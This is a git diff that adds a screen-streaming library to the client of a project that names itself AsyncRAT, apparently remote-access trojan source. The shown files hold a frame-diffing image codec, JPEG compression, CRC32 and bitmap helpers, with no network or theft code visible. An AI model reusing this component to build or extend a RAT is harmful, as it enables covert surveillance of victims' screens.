+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ if (this.EncodedFormat != Format)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+
+ List Blocks = new List();
+ int index = 0;
+
+ Size s = new Size(ScanArea.Width, CheckBlock.Height);
+ Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
+
+ int lasty = ScanArea.Height - lastSize.Height;
+ int lastx = ScanArea.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+ List finalUpdates = new List();
+
+ s = new Size(ScanArea.Width, s.Height);
+ fixed (byte* encBuffer = EncodeBuffer)
+ {
+ for (int y = ScanArea.Y; y != ScanArea.Height; )
+ {
+ if (y == lasty)
+ s = new Size(ScanArea.Width, lastSize.Height);
+ cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ int offset = (y * Stride) + (ScanArea.X * PixelSize);
+ if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
+ {
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ x = ScanArea.X;
+ while (x != ScanArea.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+
+ cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
+ bool FoundChanges = false;
+ int blockStride = PixelSize * cBlock.Width;
+
+ for (int j = 0; j < cBlock.Height; j++)
+ {
+ int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
+ if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
+ FoundChanges = true;
+ NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ }
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if(FoundChanges)
+ {
+ index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ x += s.Width;
+ }
+ }
+ }
+
+ /*int maxHeight = 0;
+ int maxWidth = 0;
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ if (finalUpdates[i].Height > maxHeight)
+ maxHeight = finalUpdates[i].Height;
+ maxWidth += finalUpdates[i].Width;
+ }
+
+ Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
+ int XOffset = 0;*/
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ /*using (Graphics g = Graphics.FromImage(bmp))
+ {
+ g.DrawImage(TmpBmp, new Point(XOffset, 0));
+ }
+ XOffset += TmpBmp.Width;*/
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Length;
+ long OldPos = outStream.Position;
+
+ if (UseJPEG)
+ {
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ }
+ else
+ {
+ base.lzwCompression.Compress(TmpBmp, outStream);
+ }
+
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+
+ /*if (finalUpdates.Count > 0)
+ {
+ byte[] lele = base.jpgCompression.Compress(bmp);
+ byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
+ bool Won = lele.Length < outStream.Length;
+ bool CompressWon = compressed.Length < outStream.Length;
+ Console.WriteLine(Won + ", " + CompressWon);
+ }
+ bmp.Dispose();*/
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ Blocks.Clear();
+ finalUpdates.Clear();
+ }
+ }
+
+ public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+ return decodedBitmap;
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed(byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ using (Graphics g = Graphics.FromImage(decodedBitmap))
+ {
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ tempData = null;
+
+ byte[] buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ using (MemoryStream m = new MemoryStream(buffer))
+ using (Bitmap tmp = (Bitmap)Image.FromStream(m))
+ {
+ g.DrawImage(tmp, rect.Location);
+ }
+ buffer = null;
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ }
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs
new file mode 100644
index 0000000..7e89054
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs
@@ -0,0 +1,186 @@
+// Tamir Khason http://khason.net/
+//
+// Released under MS-PL : 6-Apr-09
+using System;
+using System.Collections.Generic;
+using System.Text;
+using System.Security.Cryptography;
+using System.Collections;
+using System.IO;
+
+namespace StreamLibrary.src
+{
+ /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.
+ /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
+ /// or SHA512 in the System.Security.Cryptography namespace.
+ public class CRC32 : HashAlgorithm
+ {
+ #region CONSTRUCTORS
+ /// Creates a CRC32 object using the .
+ public CRC32()
+ : this(DefaultPolynomial)
+ {
+ }
+
+ /// Creates a CRC32 object using the specified polynomial.
+ /// The polynomical should be supplied in its bit-reflected form. .
+ public CRC32(uint polynomial)
+ {
+ HashSizeValue = 32;
+ _crc32Table = (uint[])_crc32TablesCache[polynomial];
+ if (_crc32Table == null)
+ {
+ _crc32Table = CRC32._buildCRC32Table(polynomial);
+ _crc32TablesCache.Add(polynomial, _crc32Table);
+ }
+ Initialize();
+ }
+
+ // static constructor
+ static CRC32()
+ {
+ _crc32TablesCache = Hashtable.Synchronized(new Hashtable());
+ _defaultCRC = new CRC32();
+ }
+ #endregion
+
+ #region PROPERTIES
+ /// Gets the default polynomial (used in WinZip, Ethernet, etc.)
+ /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.
+ public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
+ #endregion
+
+ #region METHODS
+ /// Initializes an implementation of HashAlgorithm.
+ public override void Initialize()
+ {
+ _crc = _allOnes;
+ }
+
+ /// Routes data written to the object into the hash algorithm for computing the hash.
+ protected override void HashCore(byte[] buffer, int offset, int count)
+ {
+ for (int i = offset; i < count; i++)
+ {
+ ulong ptr = (_crc & 0xFF) ^ buffer[i];
+ _crc >>= 8;
+ _crc ^= _crc32Table[ptr];
+ }
+ }
+
+ /// Finalizes the hash computation after the last data is processed by the cryptographic stream object.
+ protected override byte[] HashFinal()
+ {
+ byte[] finalHash = new byte[4];
+ ulong finalCRC = _crc ^ _allOnes;
+
+ finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
+ finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
+ finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
+ finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
+
+ return finalHash;
+ }
+
+ /// Computes the CRC32 value for the given ASCII string using the .
+ public static int Compute(string asciiString)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(asciiString));
+ }
+
+ /// Computes the CRC32 value for the given input stream using the .
+ public static int Compute(Stream inputStream)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(inputStream));
+ }
+
+ /// Computes the CRC32 value for the input data using the .
+ public static int Compute(byte[] buffer)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(buffer));
+ }
+
+ /// Computes the hash value for the input data using the .
+ public static int Compute(byte[] buffer, int offset, int count)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
+ }
+
+ /// Computes the hash value for the given ASCII string.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ public byte[] ComputeHash(string asciiString)
+ {
+ byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
+ return ComputeHash(rawBytes);
+ }
+
+ /// Computes the hash value for the given input stream.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ new public byte[] ComputeHash(Stream inputStream)
+ {
+ byte[] buffer = new byte[4096];
+ int bytesRead;
+ while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
+ {
+ HashCore(buffer, 0, bytesRead);
+ }
+ return HashFinal();
+ }
+
+ /// Computes the hash value for the input data.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ new public byte[] ComputeHash(byte[] buffer)
+ {
+ return ComputeHash(buffer, 0, buffer.Length);
+ }
+
+ /// Computes the hash value for the input data.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ new public byte[] ComputeHash(byte[] buffer, int offset, int count)
+ {
+ HashCore(buffer, offset, count);
+ return HashFinal();
+ }
+ #endregion
+
+ #region PRIVATE SECTION
+ private static uint _allOnes = 0xffffffff;
+ private static CRC32 _defaultCRC;
+ private static Hashtable _crc32TablesCache;
+ private uint[] _crc32Table;
+ private uint _crc;
+
+ // Builds a crc32 table given a polynomial
+ private static uint[] _buildCRC32Table(uint polynomial)
+ {
+ uint crc;
+ uint[] table = new uint[256];
+
+ // 256 values representing ASCII character codes.
+ for (int i = 0; i < 256; i++)
+ {
+ crc = (uint)i;
+ for (int j = 8; j > 0; j--)
+ {
+ if ((crc & 1) == 1)
+ crc = (crc >> 1) ^ polynomial;
+ else
+ crc >>= 1;
+ }
+ table[i] = crc;
+ }
+
+ return table;
+ }
+
+ private static int ToInt32(byte[] buffer)
+ {
+ return BitConverter.ToInt32(buffer, 0);
+ }
+ #endregion
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs
new file mode 100644
index 0000000..5ea4bfc
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs
@@ -0,0 +1,12 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace System.Runtime.CompilerServices
+{
+ [AttributeUsage(AttributeTargets.Method)]
+ public sealed class ExtensionAttribute : Attribute
+ {
+ public ExtensionAttribute() { }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs
new file mode 100644
index 0000000..82590e7
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs
@@ -0,0 +1,59 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public static unsafe class Extensions
+ {
+ public static SortedList> RectanglesTo2D(this Rectangle[] rects)
+ {
+ SortedList> Rects = new SortedList>();
+ for (int i = 0; i < rects.Length; i++)
+ {
+ if (!Rects.ContainsKey(rects[i].Y))
+ Rects.Add(rects[i].Y, new SortedList());
+
+ if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
+ Rects[rects[i].Y].Add(rects[i].X, rects[i]);
+ }
+ return Rects;
+ }
+
+ public static SortedList> Rectangle2DToRows(this SortedList> Rects)
+ {
+ SortedList> RectRows = new SortedList>();
+
+ for (int i = 0; i < Rects.Values.Count; i++)
+ {
+ if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
+ {
+ RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList());
+ }
+ if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
+ {
+ RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
+ }
+
+ Rectangle EndRect = Rects.Values[i].Values[0];
+ for (int x = 1; x < Rects.Values[i].Values.Count; x++)
+ {
+ Rectangle CurRect = Rects.Values[i].Values[x];
+ Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
+ if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
+ {
+ RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
+ EndRect = Rects.Values[i].Values[x];
+ }
+ else
+ {
+ EndRect = Rects.Values[i].Values[x];
+ RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
+ }
+ }
+ }
+ return RectRows;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs
new file mode 100644
index 0000000..319d630
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs
@@ -0,0 +1,353 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public unsafe class FastBitmap
+ {
+ public Bitmap bitmap { get; set; }
+ public BitmapData bitmapData { get; private set; }
+ public int Width { get; private set; }
+ public int Height { get; private set; }
+ public PixelFormat format { get; private set; }
+ public DateTime BitmapCreatedAt;
+ public bool IsLocked { get; private set; }
+
+ public int Stride
+ {
+ get { return bitmapData.Stride; }
+ }
+
+ public FastBitmap(Bitmap bitmap, PixelFormat format)
+ {
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ case PixelFormat.Format8bppIndexed:
+ case PixelFormat.Format4bppIndexed:
+ case PixelFormat.Format1bppIndexed:
+ break;
+ default:
+ throw new NotSupportedException(format + " is not supported.");
+ }
+
+ this.bitmap = bitmap;
+ this.Width = this.bitmap.Width;
+ this.Height = this.bitmap.Height;
+ this.format = format;
+ Lock();
+ BitmapCreatedAt = DateTime.Now;
+ }
+
+ public FastBitmap(Bitmap bitmap)
+ {
+ this.format = bitmap.PixelFormat;
+
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ case PixelFormat.Format8bppIndexed:
+ case PixelFormat.Format4bppIndexed:
+ case PixelFormat.Format1bppIndexed:
+ break;
+ default:
+ throw new NotSupportedException(format + " is not supported.");
+ }
+
+ this.bitmap = bitmap;
+ this.Width = this.bitmap.Width;
+ this.Height = this.bitmap.Height;
+ this.format = format;
+ Lock();
+ BitmapCreatedAt = DateTime.Now;
+ }
+
+ public Color GetPixel(int x, int y)
+ {
+ byte* position = (byte*)bitmapData.Scan0.ToPointer();
+ position += CalcOffset(x, y);
+
+ byte A = position[3];
+ byte R = position[2];
+ byte G = position[1];
+ byte B = position[0];
+ return Color.FromArgb(A, R, G, B);
+ }
+
+ public void SetPixel(int x, int y, Color color)
+ {
+ byte* position = (byte*)bitmapData.Scan0.ToPointer();
+ position += CalcOffset(x, y);
+
+ position[3] = color.A;
+ position[2] = color.R;
+ position[1] = color.G;
+ position[0] = color.B;
+ }
+
+ public Color GetPixel(int x, int y, byte[] ImgData)
+ {
+ long offset = CalcOffset(x, y) + 4;
+ if (offset + 4 < ImgData.Length)
+ {
+ byte R = ImgData[offset];
+ byte G = ImgData[offset + 1];
+ byte B = ImgData[offset + 2];
+ return Color.FromArgb(255, R, G, B);
+ }
+ return Color.FromArgb(255, 0, 0, 0);
+ }
+ public void SetPixel(int x, int y, Color color, byte[] ImgData)
+ {
+ long offset = CalcOffset(x, y) + 4;
+ if (offset + 4 < ImgData.Length)
+ {
+ ImgData[offset] = color.R;
+ ImgData[offset + 1] = color.G;
+ ImgData[offset + 2] = color.B;
+ ByteArrayToBitmap(ImgData);
+ }
+ }
+
+ public void DrawRectangle(Point begin, Point end, Color color)
+ {
+ for (int x = begin.X; x < end.X; x++)
+ {
+ for (int y = begin.Y; y < end.Y; y++)
+ {
+ SetPixel(x, y, color);
+ }
+ }
+ }
+
+ public Int64 CalcOffset(int x, int y)
+ {
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ return (y * bitmapData.Stride) + (x * 4);
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ return (y * bitmapData.Stride) + (x * 3);
+ case PixelFormat.Format8bppIndexed:
+ return (y * bitmapData.Stride) + x;
+ case PixelFormat.Format4bppIndexed:
+ return (y * bitmapData.Stride) + (x / 2);
+ case PixelFormat.Format1bppIndexed:
+ return (y * bitmapData.Stride) + (x * 8);
+ }
+ return 0;
+ }
+
+ public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
+ {
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ return (y * (width * 4)) + (x * 4);
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ return (y * (width * 3)) + (x * 3);
+ case PixelFormat.Format8bppIndexed:
+ return (y * width) + x;
+ case PixelFormat.Format4bppIndexed:
+ return (y * (width / 2)) + (x / 2);
+ case PixelFormat.Format1bppIndexed:
+ return (y * (width * 8)) + (x * 8);
+ default:
+ throw new NotSupportedException(format + " is not supported.");
+ }
+ }
+
+ public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
+ {
+ Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
+ for (int x = BeginPoint.X; x < this.Width; x++)
+ {
+ Color prevColor = GetPixel(x, BeginPoint.Y);
+
+ if (curColor.R != prevColor.R ||
+ curColor.G != prevColor.G ||
+ curColor.B != prevColor.B)
+ {
+ EndPoint = new Point(x, BeginPoint.Y);
+ RetColor = curColor;
+ return;
+ }
+ }
+
+ EndPoint = new Point(this.Width, BeginPoint.Y);
+ RetColor = curColor;
+ }
+
+ public void Unlock()
+ {
+ if (IsLocked)
+ {
+ bitmap.UnlockBits(bitmapData);
+ IsLocked = false;
+ }
+ }
+ public void Lock()
+ {
+ if (!IsLocked)
+ {
+ bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
+ IsLocked = true;
+ }
+ }
+
+ public byte[] ToByteArray()
+ {
+ int bytes = Math.Abs(bitmapData.Stride) * Height;
+ byte[] rgbValues = new byte[bytes];
+ System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
+ return rgbValues;
+ }
+
+ public void ByteArrayToBitmap(byte[] data)
+ {
+ System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
+ }
+
+ public void Dispose()
+ {
+ if (bitmap != null)
+ {
+ try { bitmap.UnlockBits(bitmapData); }
+ catch { }
+ try { bitmap.Dispose(); }
+ catch { }
+ try
+ {
+ bitmap = null;
+ bitmapData = null;
+ }
+ catch { }
+ }
+ }
+
+ /// Get the byte points where to read from in a byte array
+ /// The beginning of the X, Y
+ /// The end of the X, Y
+ /// The size of the image
+ /// Slice the byte points into pieces to get the byte points faster
+ public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
+ {
+ List offsets = new List();
+
+ for (int y = beginPoint.Y; y < endPoint.Y; y++)
+ {
+ int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
+ int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
+
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format8bppIndexed:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format4bppIndexed:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format1bppIndexed:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ default:
+ {
+ throw new NotSupportedException(format + " is not supported.");
+ }
+ }
+
+ }
+ return offsets.ToArray();
+ }
+
+ /// Get the byte points in 2D
+ /// The beginning of the X, Y
+ /// The end of the X, Y
+ /// The size of the image
+ /// Slice the byte points into pieces to get the byte points faster
+ public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
+ {
+ int Width = endPoint.X - beginPoint.X;
+ int Height = endPoint.Y - beginPoint.Y;
+
+ float Wsize = ((float)Width / (float)SlicePieces);
+ float Hsize = ((float)Height / (float)SlicePieces);
+
+ //+1 just to make sure we are not going outside the array
+ if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
+ if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
+
+ ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
+ Point tmp = new Point(0, 0);
+ for (int y = beginPoint.Y; y < Height; y += SlicePieces)
+ {
+ for (int x = beginPoint.X; x < Width; x += SlicePieces)
+ {
+ ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
+ tmp.X++;
+ }
+ tmp.X = 0;
+ tmp.Y++;
+ }
+ return ImageArrayOffsets;
+ }
+ }
+
+ public class ArrayOffset
+ {
+ public int BeginOffset { get; private set; }
+ public int EndOffset { get; private set; }
+ public int Stride { get; private set; }
+ public int X { get; private set; }
+ public int Y { get; private set; }
+ public int Width { get; private set; }
+ public int Height { get; private set; }
+
+ public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
+ {
+ this.BeginOffset = begin;
+ this.EndOffset = end;
+ this.Stride = Stride;
+ this.X = x;
+ this.Y = y;
+ this.Width = width;
+ this.Height = height;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
new file mode 100644
index 0000000..a5f842d
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
@@ -0,0 +1,52 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class JpgCompression
+ {
+ private EncoderParameter parameter;
+ private ImageCodecInfo encoderInfo;
+ private EncoderParameters encoderParams;
+
+ public JpgCompression(int Quality)
+ {
+ this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
+ this.encoderInfo = GetEncoderInfo("image/jpeg");
+ this.encoderParams = new EncoderParameters(2);
+ this.encoderParams.Param[0] = parameter;
+ this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
+ }
+
+ public byte[] Compress(Bitmap bmp)
+ {
+ using (MemoryStream stream = new MemoryStream())
+ {
+ bmp.Save(stream, encoderInfo, encoderParams);
+ return stream.ToArray();
+ }
+ }
+ public void Compress(Bitmap bmp, ref Stream TargetStream)
+ {
+ bmp.Save(TargetStream, encoderInfo, encoderParams);
+ }
+
+ private ImageCodecInfo GetEncoderInfo(string mimeType)
+ {
+ ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
+ int num2 = imageEncoders.Length - 1;
+ for (int i = 0; i <= num2; i++)
+ {
+ if (imageEncoders[i].MimeType == mimeType)
+ {
+ return imageEncoders[i];
+ }
+ }
+ return null;
+ }
+ }
+}
